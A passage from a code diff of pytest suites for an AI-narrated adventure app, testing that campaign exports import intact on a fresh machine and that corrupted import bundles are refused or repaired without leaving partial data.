"opening": "Aldric sits in the Crooked Lantern with Mara.",
|
||||
}, expect=201)
|
||||
adv_id = adventure["id"]
|
||||
|
||||
_upload(server, adv_id, "canon.md", "canon", (
|
||||
"# Westhaven\n\n## The Old Abbey\n\nThe abbey above Westhaven has stood "
|
||||
"since the founding. Its crypt is sealed, its door is oak, and the seal "
|
||||
"on it has never been broken.\n"
|
||||
))
|
||||
_upload(server, adv_id, "secret.md", "canon", (
|
||||
"# The seal\n\nIt was broken once, sixty years ago.\n"
|
||||
), visibility="hidden")
|
||||
disabled = _upload(server, adv_id, "draft.md", "reference", (
|
||||
"# Discarded draft\n\nAn earlier version, switched off.\n"
|
||||
))
|
||||
server.call("PATCH", f"/adventures/{adv_id}/knowledge/{disabled}",
|
||||
{"enabled": False}, expect=200)
|
||||
|
||||
# The spawned narrator writes "Beat N." and nothing else, so every term the
|
||||
# retrieval has to work with comes from the player's own words. They are
|
||||
# written to name things the Canon file names.
|
||||
server.play(adv_id, "ask Mara about the abbey crypt in Westhaven")
|
||||
server.play(adv_id, "walk up the hill to the abbey")
|
||||
server.play(adv_id, "try the sealed crypt door of the abbey")
|
||||
_retry(server, adv_id)
|
||||
server.call("POST", f"/adventures/{adv_id}/checkpoints",
|
||||
{"name": "At the door", "note": "Before deciding."}, expect=201)
|
||||
server.play(adv_id, "force the door")
|
||||
server.play(adv_id, "go down the stair")
|
||||
server.call("POST", f"/adventures/{adv_id}/state/corrections", {
|
||||
"events": [{"type": "add_fact", "predicate": "keeper", "value": "Mara",
|
||||
"fact_id": "keeper"}],
|
||||
"note": "Established in play before the state system saw it.",
|
||||
}, expect=201)
|
||||
# Two Undos, so the export is taken behind the retained tip.
|
||||
server.call("POST", f"/adventures/{adv_id}/undo", expect=200)
|
||||
server.call("POST", f"/adventures/{adv_id}/undo", expect=200)
|
||||
return adv_id
|
||||
|
||||
|
||||
def _retry(server: Server, adv_id: int) -> None:
|
||||
"""Retries the newest turn, over the streaming endpoint it actually uses.
|
||||
|
||||
`Server.call` parses JSON, and `/retry` answers with an SSE stream as
|
||||
`/actions` does — so calling it as JSON reads `data: {...}` as a document and
|
||||
fails on the first character. Draining the stream is what the browser does.
|
||||
"""
|
||||
request = urllib.request.Request(
|
||||
f"http://127.0.0.1:{server.port}/api/adventures/{adv_id}/retry",
|
||||
data=b"{}", method="POST",
|
||||
headers={"Content-Type": "application/json"},
|
||||
)
|
||||
with urllib.request.urlopen(request, timeout=120) as response:
|
||||
body = response.read()
|
||||
assert b'"type": "error"' not in body, body[:300]
|
||||
|
||||
|
||||
def _upload(server: Server, adv_id: int, name: str, classification: str,
|
||||
body: str, **fields) -> int:
|
||||
"""A multipart knowledge upload over real HTTP, without a client library."""
|
||||
boundary = "----m9cleanimport"
|
||||
parts = []
|
||||
for key, value in {"classification": classification, **fields}.items():
|
||||
parts.append(
|
||||
f"--{boundary}\r\nContent-Disposition: form-data; name=\"{key}\"\r\n"
|
||||
f"\r\n{value}\r\n"
|
||||
)
|
||||
parts.append(
|
||||
f"--{boundary}\r\nContent-Disposition: form-data; name=\"file\"; "
|
||||
f"filename=\"{name}\"\r\nContent-Type: text/markdown\r\n\r\n{body}\r\n"
|
||||
)
|
||||
payload = ("".join(parts) + f"--{boundary}--\r\n").encode()
|
||||
request = urllib.request.Request(
|
||||
f"http://127.0.0.1:{server.port}/api/adventures/{adv_id}/knowledge",
|
||||
data=payload, method="POST",
|
||||
headers={"Content-Type": f"multipart/form-data; boundary={boundary}"},
|
||||
)
|
||||
with urllib.request.urlopen(request, timeout=60) as response:
|
||||
return json.loads(response.read())["id"]
|
||||
|
||||
|
||||
def _snapshot(server: Server, adv_id: int) -> dict:
|
||||
"""What a reader can see, read over HTTP through the API they read."""
|
||||
page = server.call("GET", f"/adventures/{adv_id}", expect=200)
|
||||
return {
|
||||
"title": page["title"],
|
||||
"canon_rules": page["canon_rules"],
|
||||
"transcript": [(a["type"], a["text"]) for a in page["actions"]],
|
||||
"can_undo": page["can_undo"],
|
||||
"can_redo": page["can_redo"],
|
||||
"state": server.call("GET", f"/adventures/{adv_id}/state", expect=200)["document"],
|
||||
"checkpoints": sorted(
|
||||
(c["name"], c["note"], c["depth"])
|
||||
for c in server.call("GET", f"/adventures/{adv_id}/checkpoints", expect=200)
|
||||
),
|
||||
"knowledge": sorted(
|
||||
(k["title"], k["classification"], k["enabled"], k["visibility"],
|
||||
k["content_hash"], k["index_state"], k["chunk_count"] > 0)
|
||||
for k in server.call("GET", f"/adventures/{adv_id}/knowledge", expect=200)
|
||||
),
|
||||
"events": sorted(
|
||||
(e["event_type"], e["source"], json.dumps(e["payload"], sort_keys=True))
|
||||
for e in server.call("GET", f"/adventures/{adv_id}/state/events?limit=500",
|
||||
expect=200)
|
||||
),
|
||||
"rows": server.total_rows(adv_id),
|
||||
}
|
||||
|
||||
|
||||
# ------------------------------------------------------------------- the move
|
||||
|
||||
@pytest.fixture()
|
||||
def moved(machines):
|
||||
"""The campaign, exported from machine A and imported into a clean B."""
|
||||
start, path_of = machines
|
||||
source = start("a")
|
||||
adv_id = _campaign(source)
|
||||
before = _snapshot(source, adv_id)
|
||||
# What the source machine retrieves at this position, recorded while it is
|
||||
# still running. It is the only thing the copy can honestly be compared to.
|
||||
retrieved = {
|
||||
record["filename"] for record in
|
||||
source.call("GET", f"/adventures/{adv_id}/context", expect=200)
|
||||
["knowledge"]["used"]
|
||||
}
|
||||
bundle = source.call("GET", f"/adventures/{adv_id}/export", expect=200)
|
||||
source.stop()
|
||||
|
||||
assert not os.path.exists(path_of("b")), "machine B must not exist yet"
|
||||
target = start("b")
|
||||
assert target.call("GET", "/adventures", expect=200) == [], \
|
||||
"machine B is not empty"
|
||||
|
||||
imported = target.call("POST", "/adventures/import", bundle, expect=201)
|
||||
return {
|
||||
"bundle": bundle, "before": before, "target": target,
|
||||
"retrieved": retrieved,
|
||||
"copy_id": imported["id"], "imported": imported,
|
||||
"path": path_of, "start": start,
|
||||
}
|
||||
|
||||
|
||||
def test_the_campaign_arrives_whole_on_a_machine_that_never_had_it(moved):
|
||||
"""The Definition of Done, in one assertion per family."""
|
||||
after = _snapshot(moved["target"], moved["copy_id"])
|
||||
before = moved["before"]
|
||||
assert after["transcript"] == before["transcript"]
|
||||
assert after["state"] == before["state"]
|
||||
assert after["canon_rules"] == before["canon_rules"]
|
||||
assert after["checkpoints"] == before["checkpoints"]
|
||||
assert after["knowledge"] == before["knowledge"]
|
||||
assert after["events"] == before["events"]
|
||||
assert after["rows"] == before["rows"], "the retained tree is a different size"
|
||||
|
||||
|
||||
def test_it_opens_at_the_exact_head_it_was_exported_at(moved):
|
||||
"""I07, across the boundary the acceptance test names.
|
||||
|
||||
The export was taken two Undos behind the tip, so a machine that opened the
|
||||
campaign at its newest retained turn would show a story two turns longer
|
||||
than the one that was saved.
|
||||
"""
|
||||
after = _snapshot(moved["target"], moved["copy_id"])
|
||||
assert after["transcript"] == moved["before"]["transcript"]
|
||||
assert after["can_redo"] is True, "the retained future is not reachable"
|
||||
assert moved["imported"]["can_redo"] is True, (
|
||||
"the response that opens the campaign says Redo is unavailable"
|
||||
)
|
||||
assert after["rows"] > len(after["transcript"]), (
|
||||
"the retained future is not in the database"
|
||||
)
|
||||
|
||||
|
||||
def test_the_state_audit_arrives_and_still_names_its_author(moved):
|
||||
"""The manual correction is still a manual correction on the new machine."""
|
||||
events = moved["target"].call(
|
||||
f"GET", f"/adventures/{moved['copy_id']}/state/events?limit=500", expect=200
|
||||
)
|
||||
manual = [e for e in events if e["source"] == "manual_correction"]
|
||||
assert len(manual) == 1
|
||||
assert manual[0]["payload"]["predicate"] == "keeper"
|
||||
assert any(e["source"] == "accepted_story" for e in events), (
|
||||
"and the story's own events are there beside it"
|
||||
)
|
||||
|
||||
|
||||
def test_the_knowledge_works_with_no_access_to_the_original_machine(moved):
|
||||
"""§11. The exporting machine is stopped; nothing may reach back to it.
|
||||
|
||||
Its process is dead and its directory holds a database this server has never
|
||||
opened. If retrieval works here, it works from the content the file carried.
|
||||
|
||||
The comparison is against what the *source* retrieved, recorded before that
|
||||
process was killed, and the source's own result is asserted first. A test
|
||||
that only checked the copy retrieved something would pass by accident on a
|
||||
day the fixture happened to match, and — worse — would report a portability
|
||||
failure when what had actually happened is that neither side retrieved
|
||||
anything. That is M8's finding 10: assert your own precondition.
|
||||
"""
|
||||
assert moved["retrieved"], (
|
||||
"the source campaign retrieved nothing, so this proves nothing about "
|
||||
"the copy"
|
||||
)
|
||||
report = moved["target"].call(
|
||||
"GET", f"/adventures/{moved['copy_id']}/context", expect=200
|
||||
)
|
||||
used = {record["filename"] for record in report["knowledge"]["used"]}
|
||||
assert used == moved["retrieved"], (
|
||||
f"the copy retrieved {used} where the source retrieved {moved['retrieved']}"
|
||||
)
|
||||
assert "draft.md" not in used, "the disabled source was re-enabled by the move"
|
||||
assert "canon.md" in used
|
||||
|
||||
|
||||
def test_a_historical_turn_still_shows_what_it_was_given(moved):
|
||||
"""The M8 handoff, across the boundary that made it a handoff.
|
||||
|
||||
Inspect Context on an old narrator turn works on a machine that never
|
||||
assembled that prompt and could not reassemble it — the sources are here but
|
||||
the state, the head and the canon have all moved on since.
|
||||
"""
|
||||
target, copy_id = moved["target"], moved["copy_id"]
|
||||
page = target.call("GET", f"/adventures/{copy_id}/actions?limit=200", expect=200)
|
||||
narrator = [a for a in page["actions"] if a["type"] == "ai"]
|
||||
assert narrator, "the imported campaign has no narrator turn"
|
||||
inspected = 0
|
||||
for action in narrator:
|
||||
response = target.call(
|
||||
"GET", f"/adventures/{copy_id}/actions/{action['id']}/context"
|
||||
)
|
||||
if response is None:
|
||||
continue
|
||||
assert response["prompt"]["system"], "a restored prompt is empty"
|
||||
assert response["sections"], "a restored prompt has no sections"
|
||||
inspected += 1
|
||||
assert inspected, "no turn on the new machine can say what it was told"
|
||||
|
||||
|
||||
def test_no_secret_and_no_path_from_the_old_machine_travelled(moved):
|
||||
"""I06, and the private-detail half of it.
|
||||
|
||||
The bundle is checked as text, because that is what actually left the
|
||||
machine — a field added to a model the exporter walks would reach the file
|
||||
without any test of a column noticing.
|
||||
"""
|
||||
text = json.dumps(moved["bundle"])
|
||||
assert "api_key" not in text
|
||||
assert "11434" not in text, "an inference endpoint travelled with the campaign"
|
||||
assert "/tmp/" not in text and "campaign.db" not in text, (
|
||||
"a filesystem path from the exporting machine travelled"
|
||||
)
|
||||
|
||||
|
||||
def test_the_importing_machine_keeps_its_own_settings(moved):
|
||||
"""§15. A campaign is not a way to reconfigure the destination.
|
||||
|
||||
The bundle carries per-turn model provenance, which is a record of what
|
||||
happened. It does not carry the endpoint, the model or the context budget,
|
||||
because those describe the machine rather than the campaign — and importing
|
||||
a campaign must not silently repoint the destination's inference at the
|
||||
source's.
|
||||
"""
|
||||
settings = moved["target"].call("GET", "/settings", expect=200)
|
||||
assert settings["endpoint_url"] == "http://localhost:11434/v1", (
|
||||
"the import changed the destination's inference endpoint"
|
||||
)
|
||||
assert settings["context_token_budget"] == 16384
|
||||
|
||||
|
||||
def test_a_missing_model_does_not_stop_the_campaign_arriving(moved):
|
||||
"""§15. The campaign and its data are portable independently of a model.
|
||||
|
||||
The importing server has no model configured at all — nothing has ever
|
||||
written a `model` into its settings — and the import still succeeds, opens,
|
||||
and shows its state. Play would fail; recovery does not.
|
||||
"""
|
||||
settings = moved["target"].call("GET", "/settings", expect=200)
|
||||
assert settings["model"] == "", "this test needs an unconfigured destination"
|
||||
after = _snapshot(moved["target"], moved["copy_id"])
|
||||
assert after["transcript"] == moved["before"]["transcript"]
|
||||
|
||||
|
||||
# ------------------------------------------------- L03, after the campaign moved
|
||||
|
||||
def test_l03_a_save_point_restored_on_the_new_machine_survives_its_restart(moved):
|
||||
"""L03, with the move in front of it.
|
||||
|
||||
Restore a Save Point in the second process, record the position and the
|
||||
state, kill the process, start a **third** against the same file, and ask
|
||||
again. What crosses is bytes on disk.
|
||||
"""
|
||||
target, copy_id = moved["target"], moved["copy_id"]
|
||||
points = target.call("GET", f"/adventures/{copy_id}/checkpoints", expect=200)
|
||||
assert points, "the Save Point did not survive the move"
|
||||
point = points[0]
|
||||
assert point["resolved"] is True
|
||||
|
||||
target.call("POST", f"/adventures/{copy_id}/checkpoints/{point['id']}/restore",
|
||||
expect=200)
|
||||
restored = _snapshot(target, copy_id)
|
||||
rows_before = restored["rows"]
|
||||
target.stop()
|
||||
assert not target.is_listening()
|
||||
|
||||
third = moved["start"]("b")
|
||||
again = _snapshot(third, copy_id)
|
||||
assert again["transcript"] == restored["transcript"]
|
||||
assert again["state"] == restored["state"]
|
||||
assert again["rows"] == rows_before, "restoring deleted later history"
|
||||
|
||||
|
||||
# ------------------------------------------------------ the database it wrote
|
||||
|
||||
def test_the_importing_machines_database_passes_its_own_integrity_check(moved):
|
||||
"""A campaign written by an import is a database SQLite is happy with."""
|
||||
moved["target"].stop()
|
||||
connection = sqlite3.connect(moved["path"]("b"))
|
||||
try:
|
||||
assert connection.execute("PRAGMA quick_check").fetchone()[0] == "ok"
|
||||
assert connection.execute("PRAGMA foreign_key_check").fetchall() == []
|
||||
finally:
|
||||
connection.close()
|
||||
|
||||
|
||||
def test_the_import_left_no_orphan_behind(moved):
|
||||
"""§17's list, checked against the database rather than against the API.
|
||||
|
||||
Every one of these would be invisible from the outside until the moment it
|
||||
mattered: a Save Point pointing at a turn that is not there, knowledge owned
|
||||
by a campaign that does not exist, an action on a branch belonging to
|
||||
something else.
|
||||
"""
|
||||
moved["target"].stop()
|
||||
connection = sqlite3.connect(moved["path"]("b"))
|
||||
try:
|
||||
def one(sql):
|
||||
return connection.execute(sql).fetchone()[0]
|
||||
|
||||
assert one("""
|
||||
SELECT COUNT(*) FROM checkpoints c
|
||||
LEFT JOIN actions a
|
||||
ON a.branch_id = c.branch_id AND a.depth = c.depth
|
||||
AND a.adventure_id = c.adventure_id
|
||||
WHERE a.id IS NULL
|
||||
""") == 0, "a Save Point names a position with no turn at it"
|
||||
assert one("""
|
||||
SELECT COUNT(*) FROM actions a
|
||||
LEFT JOIN branches b ON b.id = a.branch_id
|
||||
WHERE a.branch_id IS NOT NULL
|
||||
AND (b.id IS NULL OR b.adventure_id <> a.adventure_id)
|
||||
""") == 0, "an action sits on another campaign's branch"
|
||||
assert one("""
|
||||
SELECT COUNT(*) FROM knowledge_sources k
|
||||
LEFT JOIN adventures adv ON adv.id = k.adventure_id
|
||||
WHERE adv.id IS NULL
|
||||
""") == 0, "knowledge owned by no campaign"
|
||||
assert one("""
|
||||
SELECT COUNT(*) FROM state_events e
|
||||
LEFT JOIN actions a ON a.id = e.action_id
|
||||
WHERE e.action_id IS NOT NULL
|
||||
AND (a.id IS NULL OR a.adventure_id <> e.adventure_id)
|
||||
""") == 0, "a state event names a turn in another campaign"
|
||||
assert one("""
|
||||
SELECT COUNT(*) FROM adventures adv
|
||||
LEFT JOIN actions a
|
||||
ON a.branch_id = adv.head_branch_id AND a.depth = adv.head_depth
|
||||
AND a.adventure_id = adv.id
|
||||
WHERE adv.head_depth >= 0 AND a.id IS NULL
|
||||
""") == 0, "the head points outside the retained story"
|
||||
finally:
|
||||
connection.close()
|
||||
@@ -0,0 +1,747 @@
|
||||
"""M9: what a broken bundle does, and what it must never do.
|
||||
|
||||
A campaign bundle is a file on a disk. It can be truncated by a full volume,
|
||||
mangled by a text editor, hand-written by somebody curious, or produced by a
|
||||
build that does not exist yet. Every case below starts from a real export of the
|
||||
M9 fixture and breaks exactly one thing about it, so what each test measures is
|
||||
that one break rather than a fixture nobody would recognise.
|
||||
|
||||
## The two rules
|
||||
|
||||
**Nothing lands.** A refused import leaves no campaign, no branch, no orphan
|
||||
action, no Save Point pointing at nothing, and no knowledge owned by a campaign
|
||||
that does not exist. `bundle.plan` has no side effects and runs before a row is
|
||||
written, and the endpoint commits once, so a refusal is a refusal — checked here
|
||||
by counting rows before and after rather than by trusting the status code.
|
||||
|
||||
**Nothing is fetched, read or run.** A bundle is data. A URL in it is text, a
|
||||
filename in it is text, and a path in it is text. No test here needs a network
|
||||
guard to pass, which is the point: there is no code path that would use one.
|
||||
|
||||
## Refuse or repair, and why each is which
|
||||
|
||||
The two are not interchangeable and the choice is made per field, on one
|
||||
question — *does a wrong value here make the rest of the campaign wrong?*
|
||||
|
||||
refuse the head, the tree, the audit trail
|
||||
a head past the story misplaces every read of it; a node on a
|
||||
branch that is not listed is a story with a hole; an audit record
|
||||
naming a turn that is not there leaves state nobody can explain
|
||||
repair a knowledge classification that is unreadable, a filename with a
|
||||
path in it, a live flag nobody set
|
||||
the value is not load-bearing for anything but itself
|
||||
drop a Save Point that names no turn, a summary with no coordinate
|
||||
a bookmark costs a bookmark; refusing the campaign to save it
|
||||
would lose the story
|
||||
|
||||
What none of them ever is: **retarget**. A Save Point whose position is not in
|
||||
the file does not get moved to a nearby one, because the reader named a position
|
||||
and no other position is the one they named.
|
||||
|
||||
python -m pytest tests/test_m9_corrupt_bundles.py -v
|
||||
"""
|
||||
|
||||
import copy
|
||||
import json
|
||||
|
||||
import pytest
|
||||
from fastapi import Depends
|
||||
from fastapi.testclient import TestClient
|
||||
|
||||
from app import auth, limits, memorybank, models
|
||||
from app.database import Base, SessionLocal, engine, get_db
|
||||
from app.knowledge import embeddings
|
||||
from app.main import app
|
||||
from app.routers import adventures
|
||||
|
||||
import m9_fixture
|
||||
from fakes import ScriptedProvider
|
||||
from test_m9_portability import StubDerived
|
||||
|
||||
|
||||
@pytest.fixture()
|
||||
def client(monkeypatch):
|
||||
Base.metadata.create_all(bind=engine)
|
||||
memorybank._vector_cache.clear()
|
||||
embeddings._cache.clear()
|
||||
setup = SessionLocal()
|
||||
user = models.User(is_guest=False, email="corrupt@example.com")
|
||||
setup.add(user)
|
||||
setup.flush()
|
||||
setup.add(models.Settings(
|
||||
user_id=user.id, model="test-model", embedding_model="stub-embed",
|
||||
context_token_budget=4000, max_output_tokens=400,
|
||||
))
|
||||
adventure = models.Adventure(
|
||||
user_id=user.id, title="Source campaign",
|
||||
campaign_canon=m9_fixture.CAMPAIGN_CANON,
|
||||
)
|
||||
setup.add(adventure)
|
||||
setup.flush()
|
||||
setup.add(models.Action(
|
||||
adventure_id=adventure.id, type="start", text=m9_fixture.OPENING,
|
||||
))
|
||||
setup.commit()
|
||||
adv_id, user_id = adventure.id, user.id
|
||||
setup.close()
|
||||
|
||||
monkeypatch.setattr(limits, "check_row_cap", lambda *a, **k: None)
|
||||
monkeypatch.setattr(adventures.turns, "OpenAICompatibleProvider", ScriptedProvider)
|
||||
monkeypatch.setattr(memorybank, "embedding_provider", lambda s: StubDerived())
|
||||
monkeypatch.setattr(memorybank, "summary_provider", lambda s: StubDerived())
|
||||
app.dependency_overrides[auth.get_current_user] = (
|
||||
lambda db=Depends(get_db): db.get(models.User, user_id)
|
||||
)
|
||||
test_client = TestClient(app)
|
||||
test_client.adv_id = adv_id
|
||||
try:
|
||||
yield test_client
|
||||
finally:
|
||||
app.dependency_overrides.clear()
|
||||
adventures.turns._active_turns.clear()
|
||||
memorybank._vector_cache.clear()
|
||||
embeddings._cache.clear()
|
||||
Base.metadata.drop_all(bind=engine)
|
||||
|
||||
|
||||
@pytest.fixture(scope="module")
|
||||
def _cache():
|
||||
"""One place to keep the exported fixture between tests in this module."""
|
||||
return {}
|
||||
|
||||
|
||||
@pytest.fixture()
|
||||
def good(client):
|
||||
"""A real, valid export of the M9 fixture, ready to be broken."""
|
||||
m9_fixture.build(client, client.adv_id)
|
||||
response = client.get(f"/api/adventures/{client.adv_id}/export")
|
||||
assert response.status_code == 200
|
||||
return response.json()
|
||||
|
||||
|
||||
# ------------------------------------------------------------------ the rules
|
||||
|
||||
def _counts() -> dict:
|
||||
"""Every row that an import can create, per table."""
|
||||
with SessionLocal() as db:
|
||||
return {
|
||||
model.__name__: db.query(model).count()
|
||||
for model in (
|
||||
models.Adventure, models.Branch, models.Action, models.Memory,
|
||||
models.Summary, models.Checkpoint, models.StateEvent,
|
||||
models.StateProposal, models.KnowledgeSource,
|
||||
models.KnowledgeChunk, models.StoryCard,
|
||||
)
|
||||
}
|
||||
|
||||
|
||||
def refused(client, payload, *, status=(400, 409, 413, 422)) -> str:
|
||||
"""Imports expecting a refusal, and asserts that nothing at all landed."""
|
||||
before = _counts()
|
||||
response = client.post("/api/adventures/import", json=payload)
|
||||
assert response.status_code in status, (
|
||||
f"expected a refusal, got {response.status_code}: {response.text[:400]}"
|
||||
)
|
||||
assert _counts() == before, (
|
||||
"a refused import wrote rows: "
|
||||
f"{ {k: (before[k], v) for k, v in _counts().items() if before[k] != v} }"
|
||||
)
|
||||
body = response.json()
|
||||
return str(body.get("detail", body))
|
||||
|
||||
|
||||
def accepted(client, payload) -> int:
|
||||
response = client.post("/api/adventures/import", json=payload)
|
||||
assert response.status_code == 201, response.text[:500]
|
||||
return response.json()["id"]
|
||||
|
||||
|
||||
def broken(good: dict, **changes) -> dict:
|
||||
return dict(copy.deepcopy(good), **changes)
|
||||
|
||||
|
||||
# -------------------------------------------------------- format and version
|
||||
|
||||
def test_a_payload_that_is_not_an_object_is_refused(client):
|
||||
for payload in ([], "a string", 7):
|
||||
response = client.post("/api/adventures/import", json=payload)
|
||||
assert response.status_code in (400, 422), response.text[:200]
|
||||
|
||||
|
||||
def test_an_empty_object_is_refused(client):
|
||||
assert "format" in refused(client, {}).lower() or "export" in refused(client, {})
|
||||
|
||||
|
||||
def test_a_missing_format_is_refused(client, good):
|
||||
payload = copy.deepcopy(good)
|
||||
del payload["format"]
|
||||
refused(client, payload)
|
||||
|
||||
|
||||
def test_a_format_of_the_wrong_type_is_refused(client, good):
|
||||
for wrong in (3, None, ["ai-dnd-adventure-v3"], {"v": 3}):
|
||||
refused(client, broken(good, format=wrong))
|
||||
|
||||
|
||||
def test_an_unsupported_future_version_is_refused_with_its_name(client, good):
|
||||
detail = refused(client, broken(good, format="ai-dnd-adventure-v42"))
|
||||
assert "ai-dnd-adventure-v42" in detail
|
||||
|
||||
|
||||
# ------------------------------------------------------------- the tree graph
|
||||
|
||||
def test_an_action_on_a_branch_the_file_does_not_list_is_refused(client, good):
|
||||
payload = copy.deepcopy(good)
|
||||
payload["actions"][0]["branch"] = 99
|
||||
assert "99" in refused(client, payload)
|
||||
|
||||
|
||||
def test_a_branch_forking_from_one_listed_after_it_is_refused(client, good):
|
||||
"""Which is also how a cycle is made impossible rather than detected.
|
||||
|
||||
A branch may only fork from a branch listed before it, so the graph is
|
||||
acyclic by construction. Without it a lineage walk on a hand-edited file
|
||||
would not terminate.
|
||||
"""
|
||||
payload = copy.deepcopy(good)
|
||||
payload["branches"][0] = {"parent": 1, "forkDepth": 0}
|
||||
refused(client, payload)
|
||||
|
||||
|
||||
def test_a_branch_that_forks_from_itself_is_refused(client, good):
|
||||
payload = copy.deepcopy(good)
|
||||
payload["branches"][1] = {"parent": 1, "forkDepth": 3}
|
||||
refused(client, payload)
|
||||
|
||||
|
||||
def test_a_fork_with_no_depth_is_refused(client, good):
|
||||
payload = copy.deepcopy(good)
|
||||
payload["branches"][1] = {"parent": 0}
|
||||
assert "depth" in refused(client, payload)
|
||||
|
||||
|
||||
def test_an_action_with_no_depth_is_refused(client, good):
|
||||
payload = copy.deepcopy(good)
|
||||
payload["actions"][1]["depth"] = None
|
||||
assert "depth" in refused(client, payload)
|
||||
|
||||
|
||||
def test_an_action_with_a_negative_depth_is_refused(client, good):
|
||||
payload = copy.deepcopy(good)
|
||||
payload["actions"][1]["depth"] = -4
|
||||
refused(client, payload)
|
||||
|
||||
|
||||
def test_a_head_past_the_story_is_refused(client, good):
|
||||
assert "ends at" in refused(client, broken(good, headDepth=10_000))
|
||||
|
||||
|
||||
def test_a_head_depth_of_the_wrong_type_is_refused(client, good):
|
||||
for wrong in ("3", 3.5, True, [3]):
|
||||
refused(client, broken(good, headDepth=wrong))
|
||||
|
||||
|
||||
def test_a_head_branch_that_is_not_listed_falls_back_to_the_root(client, good):
|
||||
"""Repaired rather than refused, and the repair is the safe direction.
|
||||
|
||||
The head *depth* is checked against the story and refused when it disagrees,
|
||||
because a wrong depth silently moves the reader. A head *branch* that names
|
||||
nothing cannot be read at all, so there is no wrong position to land at —
|
||||
the root is where a campaign with no chosen branch is read.
|
||||
"""
|
||||
payload = copy.deepcopy(good)
|
||||
payload["headBranch"] = 77
|
||||
payload.pop("headDepth") # the depth belongs to the branch it names
|
||||
copy_id = accepted(client, payload)
|
||||
with SessionLocal() as db:
|
||||
adventure = db.get(models.Adventure, copy_id)
|
||||
root = (
|
||||
db.query(models.Branch)
|
||||
.filter(models.Branch.adventure_id == copy_id,
|
||||
models.Branch.parent_branch_id.is_(None))
|
||||
.first()
|
||||
)
|
||||
assert adventure.head_branch_id == root.id
|
||||
|
||||
|
||||
def test_two_actions_claiming_one_identity_are_refused(client, good):
|
||||
"""Take parentage and the whole audit trail hang off these ids."""
|
||||
payload = copy.deepcopy(good)
|
||||
payload["actions"][1]["id"] = payload["actions"][0]["id"]
|
||||
assert "both call themselves" in refused(client, payload)
|
||||
|
||||
|
||||
def test_a_turn_whose_takes_are_all_dead_still_tells_one(client, good):
|
||||
"""Repaired, because a turn with no live attempt disappears from the story."""
|
||||
payload = copy.deepcopy(good)
|
||||
for action in payload["actions"]:
|
||||
action["live"] = False
|
||||
copy_id = accepted(client, payload)
|
||||
with SessionLocal() as db:
|
||||
rows = (
|
||||
db.query(models.Action)
|
||||
.filter(models.Action.adventure_id == copy_id)
|
||||
.all()
|
||||
)
|
||||
per_turn = {}
|
||||
for row in rows:
|
||||
per_turn.setdefault((row.branch_id, row.depth), []).append(row)
|
||||
for group in per_turn.values():
|
||||
assert sum(1 for row in group if row.live) == 1
|
||||
|
||||
|
||||
def test_a_parent_naming_a_node_the_file_does_not_hold_is_ignored(client, good):
|
||||
"""Dropped, not refused: a wrong parent costs a pager, not a campaign."""
|
||||
payload = copy.deepcopy(good)
|
||||
for action in payload["actions"]:
|
||||
if action.get("parentId") is not None:
|
||||
action["parentId"] = 999_999
|
||||
copy_id = accepted(client, payload)
|
||||
story = client.get(f"/api/adventures/{copy_id}").json()
|
||||
assert story["actions"], "the campaign did not import"
|
||||
|
||||
|
||||
def test_a_node_that_is_its_own_parent_does_not_loop(client, good):
|
||||
payload = copy.deepcopy(good)
|
||||
for action in payload["actions"]:
|
||||
if action.get("id") is not None:
|
||||
action["parentId"] = action["id"]
|
||||
copy_id = accepted(client, payload)
|
||||
with SessionLocal() as db:
|
||||
assert db.query(models.Action).filter(
|
||||
models.Action.adventure_id == copy_id,
|
||||
models.Action.parent_id == models.Action.id,
|
||||
).count() == 0
|
||||
# And the pager still resolves rather than recursing.
|
||||
assert client.get(f"/api/adventures/{copy_id}").status_code == 200
|
||||
|
||||
|
||||
# ----------------------------------------------------------------- save points
|
||||
|
||||
def test_a_save_point_beyond_the_retained_story_is_dropped_not_retargeted(
|
||||
client, good
|
||||
):
|
||||
payload = copy.deepcopy(good)
|
||||
original = payload["checkpoints"][0]["name"]
|
||||
payload["checkpoints"][0]["depth"] = 5_000
|
||||
copy_id = accepted(client, payload)
|
||||
landed = client.get(f"/api/adventures/{copy_id}/checkpoints").json()
|
||||
assert original not in {point["name"] for point in landed}
|
||||
assert all(point["depth"] < 5_000 for point in landed)
|
||||
assert landed, "the good Save Point was lost with the bad one"
|
||||
|
||||
|
||||
def test_a_save_point_on_a_branch_that_is_not_listed_is_dropped(client, good):
|
||||
payload = copy.deepcopy(good)
|
||||
payload["checkpoints"][0]["branch"] = 44
|
||||
copy_id = accepted(client, payload)
|
||||
landed = client.get(f"/api/adventures/{copy_id}/checkpoints").json()
|
||||
assert len(landed) == len(good["checkpoints"]) - 1
|
||||
|
||||
|
||||
def test_a_save_point_with_a_blank_name_is_dropped(client, good):
|
||||
payload = copy.deepcopy(good)
|
||||
payload["checkpoints"][0]["name"] = " "
|
||||
copy_id = accepted(client, payload)
|
||||
assert len(client.get(f"/api/adventures/{copy_id}/checkpoints").json()) == \
|
||||
len(good["checkpoints"]) - 1
|
||||
|
||||
|
||||
def test_a_checkpoints_section_that_is_not_a_list_costs_the_bookmarks_only(
|
||||
client, good
|
||||
):
|
||||
copy_id = accepted(client, broken(good, checkpoints={"nope": 1}))
|
||||
assert client.get(f"/api/adventures/{copy_id}/checkpoints").json() == []
|
||||
assert client.get(f"/api/adventures/{copy_id}").json()["actions"]
|
||||
|
||||
|
||||
# ------------------------------------------------------------ state and audit
|
||||
|
||||
def test_a_state_section_that_is_not_a_list_is_refused(client, good):
|
||||
assert "list" in refused(client, broken(good, stateEvents={"a": 1}))
|
||||
assert "list" in refused(client, broken(good, stateProposals="events"))
|
||||
|
||||
|
||||
def test_a_state_event_that_is_not_an_object_is_refused(client, good):
|
||||
payload = copy.deepcopy(good)
|
||||
payload["stateEvents"][0] = "an event"
|
||||
refused(client, payload)
|
||||
|
||||
|
||||
def test_a_state_event_with_no_type_is_refused(client, good):
|
||||
payload = copy.deepcopy(good)
|
||||
payload["stateEvents"][0]["eventType"] = ""
|
||||
assert "type" in refused(client, payload)
|
||||
|
||||
|
||||
def test_an_event_naming_a_turn_the_file_does_not_hold_is_refused(client, good):
|
||||
payload = copy.deepcopy(good)
|
||||
payload["stateEvents"][0]["action"] = 424_242
|
||||
assert "424242" in refused(client, payload).replace(",", "")
|
||||
|
||||
|
||||
def test_a_proposal_naming_a_turn_the_file_does_not_hold_is_refused(client, good):
|
||||
payload = copy.deepcopy(good)
|
||||
payload["stateProposals"][0]["action"] = 424_242
|
||||
refused(client, payload)
|
||||
|
||||
|
||||
def test_an_event_naming_a_proposal_that_is_gone_keeps_its_coordinate(client, good):
|
||||
